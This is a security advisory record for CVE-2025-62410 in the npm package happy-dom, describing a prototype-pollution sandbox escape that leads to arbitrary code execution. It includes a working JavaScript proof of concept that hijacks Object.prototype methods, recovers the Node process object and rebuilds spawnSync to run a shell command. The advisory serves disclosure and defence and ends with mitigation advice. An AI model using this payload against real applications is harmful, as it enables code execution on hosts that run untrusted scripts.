CVE-2025-62410: Happy dom Happy-dom's `--disallow-code-generation-from-strings` Is Not Sufficient Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qpm2-6cq5-7pq5",
  "modified" : "2025-11-27T08:54:46Z",
  "published" : "2025-10-15T20:29:04Z",
  "aliases" : [ "CVE-2025-62410" ],
  "summary" : "happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript",
  "details" : "### Summary\nThe mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.\n\n### Details\nThe untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like \"process\" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).\n\n### PoC\nAttackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., \"process\". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().\n\n```js\nimport { Browser } from \"happy-dom\";\n\nconst browser = new Browser({settings: {enableJavaScriptEvaluation: true}});\nconst page = browser.newPage({console: true});\n\npage.url = 'https://example.com';\nlet payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'\npage.content = `<html>\n<script>\n    function f() { let process = this; ${payload}; spawnSync(\"touch\", [\"success.flag\"]); return \"success\";} \n    this.constructor.constructor.__proto__.__proto__.toString = f;\n    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;\n    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf\n    \n</script>\n<body>Hello world!</body></html>`;\n\nawait browser.close();\nconsole.log(`The process object is ${process}`);\nconsole.log(process.hasOwnProperty('spawn'));\n```\n\n### Impact\nArbitrary code execution via breaking out of the Node.js' vm isolation.\n\n### Recommended Immediate Actions\nUsers can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead.\n\nCris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "happy-dom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "19.0.0"
      }, {
        "fixed" : "20.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62410"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/capricorn86/happy-dom"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-15T20:29:04Z",
    "nvd_published_at" : "2025-10-15T18:15:40Z"
  }
}